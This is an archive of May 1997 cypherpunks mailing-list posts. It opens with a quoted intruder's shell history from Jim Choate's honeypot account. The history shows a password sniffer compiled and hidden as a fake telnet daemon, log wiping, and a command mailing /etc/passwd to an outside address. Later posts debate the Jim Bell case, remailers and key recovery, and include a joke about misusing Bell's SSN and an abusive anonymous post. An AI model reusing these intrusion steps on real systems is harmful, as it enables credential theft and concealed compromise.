> > > > 
> > > >                                                     Jim Choate
> > > >                                                     CyberTects
> > > >                                                     ravage@ssz.com
> > > > 
> > > >  --------------------------------------------------------------------------
> > > > 
> > > > bbixler   ttyp0        app42-73.applink Fri May 23 16:04 - 16:06  (00:01)
> > > > bbixler   ttyp0        app42-75.applink Fri May 23 00:21 - 00:28  (00:07)
> > > > bbixler   ttyp0        app42-90.applink Thu May 22 13:33 - 13:37  (00:03)
> > > > bbixler   ttyp0        app41-50.applink Wed May 21 20:01 - 20:31  (00:30)
> > > > bbixler   ttyp0        app41-47.applink Wed May 21 19:53 - 19:54  (00:00)
> > > > bbixler   ttyp0        app42-85.applink Wed May 21 18:46 - 19:00  (00:14)
> > > > bbixler   ttyp0        app42-75.applink Wed May 21 10:39 - 10:40  (00:00)
> > > > bbixler   ttyp0        app41-52.applink Sun May 18 23:04 - 23:11  (00:07)
> > > > bbixler   ttyp1        app42-78.applink Sat May 17 18:46 - 18:49  (00:02)
> > > > bbixler   ttyp1        app42-67.applink Sat May 17 01:22 - 01:26  (00:03)
> > > > bbixler   ftp          fw6-10.ppp.iadfw Wed May 14 22:27 - 22:28  (00:01)
> > > > bbixler   ttyp1        app42-94.applink Tue May 13 16:12 - 16:18  (00:05)
> > > > bbixler   ttyp0        app42-85.applink Mon May 12 17:02 - 17:05  (00:02)
> > > > bbixler   ttyp0        app42-73.applink Sun May 11 12:29 - 12:36  (00:07)
> > > > bbixler   ttyp0        app42-71.applink Sat May 10 20:15 - 20:17  (00:01)
> > > > bbixler   ttyp0        app42-71.applink Sat May 10 19:40 - 19:50  (00:09)
> > > > bbixler   ttyp0        max2-800-04.eart Wed Feb 12 18:05 - 18:06  (00:00)
> > > > 
> > > > wtmp begins Sun Feb  2 16:36 
> > > > 
> > > >  --------------------------------------------------------------------------
> > > > 
> > > > whoami
> > > > ls
> > > > mv perl-ex.sh /tmp/.bgg
> > > > mkdir /tmp/.bg
> > > > cd /tmp
> > > > cd .bg
> > > > ls
> > > > lynx
> > > > ls
> > > > gcc linsniffer.c 
> > > > ls
> > > > ps
> > > > who
> > > > w
> > > > ps aux
> > > > a.out &
> > > > ls
> > > > ifconfig
> > > > /sbin/ifconfig
> > > > ls
> > > > tail -f tcp.log 
> > > > free
> > > > ls
> > > > cat tcp.log 
> > > > cd ..
> > > > ls
> > > > w
> > > > cd
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > cd /etc
> > > > ls
> > > > minicom
> > > > cd ..
> > > > ls
> > > > cd cdrom.
> > > > cd cdrom
> > > > ls
> > > > cd ..
> > > > cd
> > > > ls
> > > > cd bin
> > > > ls
> > > > cd ..
> > > > cd ..
> > > > ls
> > > > w
> > > > finger
> > > > cd Pphantom
> > > > cat /etc/passwd | grep Pphantom
> > > > cd phantom
> > > > ls
> > > > ls -al
> > > > cat .bash_history 
> > > > cd /etc
> > > > cat hosts
> > > > ls
> > > > cd /tmp
> > > > cd .bg
> > > > cat tcp.log 
> > > > exit
> > > > cd .bg
> > > > ls
> > > > w
> > > > ls
> > > > ls -al
> > > > cat tcp.log 
> > > > ifconfig
> > > > /sbin/ifconfig
> > > > ls
> > > > exit
> > > > mv x.sh /tmp
> > > > cd .bg
> > > > ls
> > > > cd /tmp
> > > > ls
> > > > mv x.sh .bg
> > > > cd .bg
> > > > ls
> > > > kill -9 14523
> > > > ps aux
> > > > mv a.out in.telnetd
> > > > ls
> > > > rm tcp.log 
> > > > ./in.telnetd &
> > > > exit
> > > > pico tcp.log 
> > > > ls
> > > > ps aux
> > > > kill -9 16282
> > > > ls
> > > > ./in.telnetd &
> > > > exit
> > > > cat /dev/null > tcp.log
> > > > w
> > > > exit
> > > > pico tcp.log 
> > > > ls
> > > > ls -al
> > > > cd /etc
> > > > cat passwd
> > > > mail dkny007@hotmail.com < passwd
> > > > exit
> > > > w
> > > > ls -al
> > > > pico tcp.log 
> > > > echo /dev/null > tcp.log 
> > > > ls -al
> > > > ps aux
> > > > quit
> > > > exit
> > > > id
> > > > w
> > > > ftp 
> > > > ls
> > > > mkdir /home/ftp/.tmp
> > > > mkdir /home/ftp/.tmp/.sub
> > > > mv linsniff /home/ftp/.tmp/.sub/
> > > > cd /home/ftp/.tmp/.sub/
> > > > mv linsniff in.te1netd
> > > > ls -l
> > > > chmod 755 in.te1netd 
> > > > in.te1netd &
> > > > ps
> > > > ps aux
> > > > killall in.te1netd
> > > > ls
> > > > ls -a
> > > > ls -l
> > > > in.te1netd &
> > > > /home/ftp/.tmp/.sub/in.te1netd
> > > > /home/ftp/.tmp/.sub/in.te1netd
> > > > ls -s
> > > > rm in.te1netd 
> > > > cd
> > > > ls
> > > > mv hello .h311o
> > > > ftp 
> > > > ls
> > > > mv linsniffer.c /home/ftp/.tmp/.sub/
> > > > cd /home/ftp/.tmp/.sub
> > > > ls
> > > > cc linsniffer.c 
> > > > mv a.out in.te1netd
> > > > chmod 755 in.te1netd 
> > > > ls
> > > > rm linsniffer.c 
> > > > in.te1netd &
> > > > exit
> > > > cd ..
> > > > mv apache.tgz .bg
> > > > cd .bg
> > > > ls
> > > > tar xfvz apache.tgz 
> > > > cd apache_1.2b10/
> > > > ls
> > > > cd src
> > > > make
> > > > ls
> > > > ./Configure 
> > > > make
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd cgi-bin/
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > ls
> > > > w
> > > > rm -rf apache*
> > > > lynx
> > > > ls
> > > > tar xfvz apache_1.1.3.tar.gz 
> > > > cd apache_1.1.3
> > > > ls
> > > > cd src
> > > > ls
> > > > ./Configure 
> > > > make
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd ..
> > > > ls
> > > > rm -rf apache_1.1.3
> > > > ls
> > > > rm -rf apache_1.1.3.tar.gz 
> > > > w
> > > > exit
> > > > kill -9 14551
> > > > ls
> > > > ls -al
> > > > cd ..
> > > > ls
> > > > cd /home
> > > > ls
> > > > cd ftp
> > > > ls -al
> > > > cd .tm[p
> > > > cd .tmp/
> > > > ls
> > > > ls -al
> > > > cd .sub/
> > > > ls
> > > > rm *
> > > > cd ..
> > > > cd ..
> > > > rm -rf .tmp/
> > > > ls
> > > > cd
> > > > ls
> > > > cd /root
> > > > ls
> > > > cd ssz
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd pgp
> > > > ls
> > > > cd ..
> > > > cd etc
> > > > ls
> > > > cd ..
> > > > ls
> > > > cd /
> > > > ls
> > > > exit
> > > > id
> > > > crontab -e
> > > > ls
> > > > vi .sub
> > > > crontab -e
> > > > ls
> > > > cat /home/ftp/.tmp/.sub/tcp.log
> > > > ps aux
> > > > who
> > > > cd /home/ftp
> > > > ls -a
> > > > mkdir .tmp/.sub
> > > > mkdir .tmp
> > > > cd .tmp
> > > > exit
> > > > cd
> > > > ls
> > > > cd /root
> > > > ls
> > > > cd khg-0.5/
> > > > ls
> > > > cd ..
> > > > cat .bash_history 
> > > > ls
> > > > cd /etc
> > > > ls
> > > > cat hosts
> > > > exit
> > > > 
> > > >
> > > >
> > > >
> > > 
> > 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 24 May 1997 17:02:20 +0800
To: ichudov@algebra.com
Subject: Re: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705232305.SAA08354@manifold.algebra.com>
Message-ID: <199705240001.BAA03399@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Igor Chudov <ichudov@algebra.com> writes:
> Adam Back wrote:
> > Igor Chudov <ichudov@algebra.com> writes:
> > >
> > > plz do not use bcc
> > 
> > Why not?  It is quite convenient for coping with the non-cross posting
> > policy of other groups.
> > 
> > Also what is it with the <cpunks@manifold.algebra.com> forwards, why
> > are these coming to the list forwarded from that address?  Are they
> > things which failed your procmail filter manually forwarded
> > afterwards?
>
> the answer is that it happens because of my spam filter for cypherpunks.
> 
> you would not believe how much spam it catches... and bogus mailing
> lists that cypherpunks were sub-scri-bed to...
> 
> the theory behind it is that if something was not sent to cypherpunks
> explicitly, it most likely does not belong there.
> 
> naturally, I DO forward all stuff that belongs there to the list.

I see.

Any chance you could fix the forwards up so they look like normal
posts?  Maybe stuff them into a file which procmail picks up without
doing the spam check?

I'm not sure why someone would want to do a Bcc
cypherpunks@algebra.com and Cc coderpunks@toad.com because (if I have
this right) it'll be cypherpunks which sees the Cc coderpunks, and
people on cypherpunks will auto-repy to coderpunks, which is the
opposite of what people on coderpunks want.  What people should do is
Bcc coderpunks (or cryptography) for this purpose.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 24 May 1997 16:30:21 +0800
To: cypherpunks@toad.com
Subject: Re: The Bell Plan
Message-ID: <199705240808.CAA13533@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 03:35:04PM -0400, lucifer Anonymous Remailer
said:
>
[clever forgery deleted]

>GovernmentMonger
>
>-----BEGIN PGP PUBLIC KEY BLOCK-----
>Version: 5.0 beta
>
>mQBtAzMlqw8AAAEDALc9qKk3L2AH9k8wEtwX5R6VkBj3jdqWmCUVB7STqtsE2jpv
>3QzrbNi2GShGjiYxMv1jef7K6cA83sk3rrXhL0h8l3vx2mIN1j/XNb/ifdsbScP/
>VZyZEXJMg3KGKsoHoQAFEbQgS2VudCBDcmlzcGluIDxrZW50QHNvbmdiaXJkLmNv
>bT4=
>=Nj/m
>-----END PGP PUBLIC KEY BLOCK-----

Please note that the above key is not mine.

--
Kent Crispin                            "No reason to get excited",
kent@songbird.com                       the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 24 May 1997 16:10:43 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
Message-ID: <199705240750.DAA16059@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> William Geiger wrote:
> 
> >After reading the complaint I have to say that with friends like that
> >who needs enemies?
> 
> True, if that's what the friends actually said, and if they were
> not induced to do so by being fed lethal information: don't
> go down with Bell, protect yourself, spill your guts.
> 
> Turning friends against friends is pretty common in
> investigations, using threats and promises of relief
> from possible charges, even saying that your friend is
> squealing on you.

  I have mostly lurked on the list for several years without doing very
much posting. I am employed in an area of law enforcement where I don't
get involved with the the darker side of the process but I often listen
to others who talk about various methods they use to make a case against
somebody they have decided to "get."
  It is well known that if the information provided in an initial
interview of a potential witness is not damaging enough that veiled
threats implying the person being interviewed will be going along for
the ride is enough to induce them to spill whatever beans the
investigator is after.
  I recognize the need to lean on those who are witholding needed
information but the method is often used to trump up the most outrageous
accusations and manufactured evidence imaginable. Add to this the fact
that most of us have at some point made statements that we would like to
"kill" a certain individual and similar off the cuff statements and
almost anyone can look very guilty of almost anything.
  Since I initially recognized the federal action against Mr. Bell as an
all out effort to get him no matter what the cost I was not surprised to
see that the first interviews with his friends were fairly tame material
and the second interviews were very damaging to Mr. Bell. Once you put
enough fear into people their memories become very creative.
 
> I was struck by how similar some remarks attributed to
> Bell were to those attributed to McVeigh, not that they
> were not made, but that the investigators chose to
> select just those to indicate lethal intent.

  I have worked with a sufficient volume of evidence in all manner of
cases that I am convinced that any paramilitary or military type of
person could be arrested and one would be able to duplicate much of the
evidence that is being introduced in the McVeigh case. I think that if
McVeigh and Bell traded places that each would still be convicted of
some of the charges against them. I have seen carnivorous prosecuters
turn totally ambiguous evidence into a smoking gun against very average
people even without the ferocious intent that the government has in the
McVeigh and Bell cases to produce a conviction at any cost.
 
> The IRS searching the Internet for incriminating advocacy
> is a warning of what's to come, as often predicted here.

  In my time on the list I have noticed that and it was particularly
brought home to me when I read the story posted to the list called
"Webworld and the Circle of Unuchs." I think the author must be one of
the list spooks because the connections he makes or makes up are
strikingly similar to those which would be conjectured by a good
evidentiary analyst.
  I used to print cypherpunk posts for a fellow employee who works
computer crime cases and he would demean them because they weren't
technical enough for his taste. Now he follows the list religiously
because it lets him know whats going on and where things are going with
privacy and encryption.

> Time to study and ponder the 1st Amend -- which, by the way,
> Matt Blaze did at the NYC crypto forum last night to challenge
> Charney and Denning. Matt pulled out a copy and cited
> it, which may be a good indication of what he knows that
> we don't about what's coming.

  What I learn on my job is a world apart from the publics perception of
what goes on in law enforcement. It is scary to realize how many people
suffer terribly just because they are so trusting in the system when the
system doesn't really care in many cases. I am certain that it must be
just as true and more at higher levels of government where we see and
know so little of what really takes place behind the scenes.
  If I had to work in an area of law enforcement where I faced pressure
to do many of the things that others do to produce convictions I don't
think I would last very long. At least I hope I wouldn't.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 24 May 1997 19:18:33 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <3.0.2.32.19970524065907.037eb0fc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:37 PM 5/23/97 -0400, John Young wrote: 
>We offer the May 16 complaint against Jim Bell: 
> 
>   http://jya.com/jimbell3.htm 
> 
>The complaint draws upon previous search warrants 
>at Greg Broiles's site: 
> 
>   http://www.parrhesia.com/jimbell/ 

"Beginning at a time unknown, and continuing to the present, at Vancouver, within the Western District of Washington and elsewhere, JAMES DALTON BELL did corruptly obstruct and impede and endeavor to obstruct and impede the due administration of the internal revenue laws, among other things, by collecting the names and home addresses of agents and employees of the Internal Revenue Service ("IRS") in order to intimidate them in the performance of their official functions;"

Maybe he just wanted their addresses so he could "petition the government for redress of greivances."  Isn't it legal to picket the homes of government employees?

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 20:10:14 +0800
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705240001.BAA03399@server.test.net>
Message-ID: <199705241203.HAA13929@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam Back wrote:
> Igor Chudov <ichudov@algebra.com> writes:
> > Adam Back wrote:
> > > Igor Chudov <ichudov@algebra.com> writes:
> > > >
> > > > plz do not use bcc
> > > 
> > > Why not?  It is quite convenient for coping with the non-cross posting
> > > policy of other groups.
> > > 
> > > Also what is it with the <cpunks@manifold.algebra.com> forwards, why
> > > are these coming to the list forwarded from that address?  Are they
> > > things which failed your procmail filter manually forwarded
> > > afterwards?
> >
> > the answer is that it happens because of my spam filter for cypherpunks.
> > 
> > you would not believe how much spam it catches... and bogus mailing
> > lists that cypherpunks were sub-scri-bed to...
> > 
> > the theory behind it is that if something was not sent to cypherpunks
> > explicitly, it most likely does not belong there.
> > 
> > naturally, I DO forward all stuff that belongs there to the list.
> 
> I see.
> 
> Any chance you could fix the forwards up so they look like normal
> posts?  Maybe stuff them into a file which procmail picks up without
> doing the spam check?

A good point. I will write a shell script for that when I get time.

> I'm not sure why someone would want to do a Bcc
> cypherpunks@algebra.com and Cc coderpunks@toad.com because (if I have
> this right) it'll be cypherpunks which sees the Cc coderpunks, and
> people on cypherpunks will auto-repy to coderpunks, which is the
> opposite of what people on coderpunks want.  What people should do is
> Bcc coderpunks (or cryptography) for this purpose.

I would agree with this.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 21:38:10 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: System Attack & FBI (fwd)
Message-ID: <199705241250.HAA23075@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Subject: Re: System Attack & FBI (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Sat, 24 May 97 08:31:31 EDT

> ichudov@algebra.com (Igor Chudov @ home) writes:
> ...
> > I hope that the hacker did not leave any other trojans besides rogue Apache
> > and in.telnetd.
> ...
> The cracker installed Stronghold[tm] on Jim's system?  How despicable!

The cracker installed nothing. From the first time they used the bbixler
account I have known of them.

Another interesting aspect is that since taking on the CDR I have had 3
attacks (previous ones were denial of service) while in the year previous
to that I had only one. I think there is an object lesson buried in there
somewhere.

What I want to know is if he ever realized he was running on a 486DX2/80
w/ 24M of RAM, 1G of hard-drive, and a version of Linux that is over 2 years
old? What a rube...

The bbixler account was a trip-wire with a very silly password intentionaly
left there (as are several others) just waiting for some happy jack to find
one. I also do this with my IP's. It is actualy very effective.

I once nabbed a bozo from the Richardson, Tx AT&T office who was using my
system to get to other systems. I was monitoring the account and noticed an
email go out to a buddy of his with his office number in it. I called, he
shit bricks, I asked for money or that he desist from using my system. He
desisted.

I also have a pretty quick re-install plan as well. I have a basic image
on a spare drive installed in the box. Swap cables and we are back up.
I can do a complete re-install and be configured in about 3 hours from CD
archives and the original source material which is on machines not on the
Internet (it's my Amiga 2000). This does not include the user home
dir's which I don't protect, with the users full knowledge and agreement.
Their data, their problem (I push fast cycle times, the use of off-line
encryption for security, and digital signing for authority); I provide
services only and TEMPORARY file storage on my file systems.

Linux on old 486's is wonderful!

                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 21:44:15 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Too few cypherpunks nodes. (fwd)
Message-ID: <199705241301.IAA23110@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Subject: Too few cypherpunks nodes.
> Date: Sat, 24 May 1997 00:49:16 -0500 (CDT)
> From: ichudov@algebra.com (Igor Chudov @ home)

> As the time goes on and I see what is happening inside and outside our
> list, I am getting increasingly concerned about the small number of hosts
> in the cypherpunks network.
> 
> Practically, most of the people use only two nodes, Kent's and mine, and
> thanks to Jim, we have three operating ones. I do not believe that it is
> good enough.
> 
> If anyone has any creative idea of how to get a couple more reliable
> nodes, please share it.

I agree fully. I know of at least one other indipendant node that will be
coming up in the near future. I am also in the process of putting in a
satellite location to my current site about 30 miles east of Austin to
better serve that part of the community. That site is intended among other
things to host backup servers for the various services of CyberTects. Among
these will be a server to run the various mailing lists in case of a primary
site incident. It will currently be connected via modem but a switch to ISDN
or ADSL is in the works. We also hope to kick the primary SSZ site up from
ISDN to ADSL in the near future as well. I can't at this time provide even
tentative go-live dates, but I will be digging a power trench there this
afternoon if it quits raining, then we have to install the phones and air
conditioner.

Things are improving but only slowly.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 25 May 1997 00:06:33 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705241515.IAA03319@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


bite your penis.

        _  O     O  _
         \-|-\_/-|-/  Timothy May
          /^\   /^\
         ^^ ^^ ^^ ^^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 24 May 1997 20:52:51 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524015414.00745f94@pop.pipeline.com>
Message-ID: <v03020951afac8c5cb9c1@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:54 pm -0400 on 5/23/97, John Young wrote:


> We missed deleting one cite of Jim's "true" SSN
> in the complaint, which has now been done. Those
> who got early copies, consider ***-ing the num.

Of course, we could all just memorize it, and use it, um, liberally...

:-).

"It says here, Mr. Bell, that you were working in both Santa Clara and
Rockport on the same day. Can you explain that? What about all these bank
accounts with your SSID on them?"

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 24 May 1997 21:05:40 +0800
To: cypherpunks@toad.com
Subject: Re: System Attack & FBI (fwd)
In-Reply-To: <199705240556.AAA11857@manifold.algebra.com>
Message-ID: <9mk87D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
...
> I hope that the hacker did not leave any other trojans besides rogue Apache
> and in.telnetd.
...
The cracker installed Stronghold[tm] on Jim's system?  How despicable!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 22:57:46 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Too few cypherpunks nodes. (fwd)
Message-ID: <199705241406.JAA23220@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Sat, 24 May 1997 14:10:59 +0100
> From: Adam Back <aba@dcs.ex.ac.uk>
> Subject: Re: Too few cypherpunks nodes.

> Does anyone know how many people are using Jim's cypherpunks@ssz.com?

I don't even check, less than 100 for shure and probably less than 25.
Don't remember seeing that many notices of subscription to the cpunks list.
There are a LOT of info and help requests though.

> Also I might point out that the afforded privacy is mostly illusionary
> because any TLA who cared could observe the mail fanning out from
> ssz.com with Sender: cypherpunks-owner@ssz.com and reconstruct the
> list in short order.

True, but in that case they can simply walk in with a subpeonae and take it
as well, it is sitting there in a plain text file. The reason I do this is to
minimize spammings and other such attacks it is not to protect anyone from a
truly determined assault but rather from those marketing idiots out there
with no clue as to anything close to reasonable behaviour.

And yes, I realize that this can be defeated by simply subscribing to the
mailing list and watching your incoming as you reference above.
(Hint: I ain't a marketing weenie)

There are other boogey-men than just TLA's....who in my opinion are the
easiest to deal with.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 25 May 1997 01:46:17 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199705241515.IAA03319@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970524112309.101466B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 24 May 1997, Mix wrote:

> bite your penis.
> 
>         _  O     O  _
>          \-|-\_/-|-/  Timothy May
>           /^\   /^\
>          ^^ ^^ ^^ ^^
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 25 May 1997 03:04:09 +0800
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: Salvador Allende meets Kevin Kelly
In-Reply-To: <3.0.2.32.19970523070030.03c8abfc@panix.com>
Message-ID: <v03102800aface58ddb82@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:56 AM -0400 5/23/97, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The Front Lines column on the Marketplace page in Today's WSJ:
>
>http://interactive3.wsj.com/edition/current/articles/FrontLines.htm
>
>May 23, 1997
>
>Entrepreneurs Become Leaders In the New World, Flores Says
>
>I FIRST HEARD the name Fernando Flores...


I thought the Winograd/Flores book, "Understanding Computers and Cognition"
was quite good, and I recommended it on the Extropians list several years
back.

A good description of Heidegger's "readiness to hand," which may also be
characterized as "user friendliness" and "intuitiveness."

I never looked at their "fascistware" product, a product category which
seems to have thankfully died.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 25 May 1997 03:01:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spam laws threaten remailers?
In-Reply-To: <199705231444.QAA16307@basement.replay.com>
Message-ID: <v03102801aface6841552@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:44 PM +0200 5/23/97, Anonymous wrote:
>Two possibilities:
>
>First, the law might not apply to remailer operators.  It only applies
>to originators of messages.  It might make it illegal to use remailers
>to send commercial messages, but that would apply to the users,
>not to the remailer operators.
>
>Even if it does apply to remailers, they can comply with it.
>Put "Advertisement" at the front of each subject line, and put the
>remailer operator's contact info in the message.  Remailer operators
>are not generally hidden, so this does not hurt them any.


Indeed. As this message (the one you are reading now), I have stated who I
am, but the included (quoted) text does not carry this information.

By the definition above, this message is kosher.

By the definition that even included or remailed text must have similar
identification of all text, then any mail message which includes quotes
without full attribution would be illegal. This is clearly an
unconstitutional infringement on speech.

And unenforceable. (In the sense that there aren't enough courts to handle
the load.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 25 May 1997 04:11:18 +0800
To: Ernest Hua <cypherpunks@toad.com
Subject: Re: Key Recovery / The True Story
Message-ID: <3.0.32.19970524122113.00756270@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:59 PM 5/23/97 -0700, Ernest Hua wrote:
>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?
>
>I'm not sure the answer is clearly one way or another, and I am
>willing to bet that the tone of the answers will mostly be emotional
>appeals to some idealistic standard or pessimistic nightmares.

>From a pragmatic standpoint,  if the feds can burn down a church with the
worshippers still inside with impunity, it stands to reason that breaking
into their computers would not be a very big deal.

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 25 May 1997 04:26:54 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: V-Chips for the Internet
Message-ID: <3.0.32.19970524125311.006ff714@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:16 PM 5/23/97 -0700, Tim May wrote:
>There are three main dimensions to this "V-chip for the Internet," just as
>there are for the original V-chip for televisions:
[...]
>3. Economics. How long will it take before even 5% of the nation's
>computers have this V-chip installed? How much will it cost? Who will
>bother with it?

You may recall that the US mandated the use of V-chips in future
televisions. By the same token, the US could mandate the use of I-chips in
future modems.

[...]
>Could hardware-based chips be coming? At a recent meeting, John Markoff
>asked me if I'd heard anything about Intel's rumored contract to buy 20
>million (yes, 20 _million_) keyboards with crypto features built in. I had
>not heard this rumor.
>
>(Since then, though, there have been rumblings that Intel is preparing to
>offer such keyboards, possibly with "user authentication" features (don't
>know what kind). 

Actually, it is 10 million keyboards with smartcard readers. Unless Intel
increased the lot size. I talked with a person at Intel attempting to
purchase the devices back in October, 1996. He expressed the difficulties
they were having finding a keyboard vendor who understood that the CPU
should not be directly involved in the smartcard operation. From this
discussion, I assumed the purpose of the devices is authentication.

The keyboards might be for an ecommerce solution or they might be used in
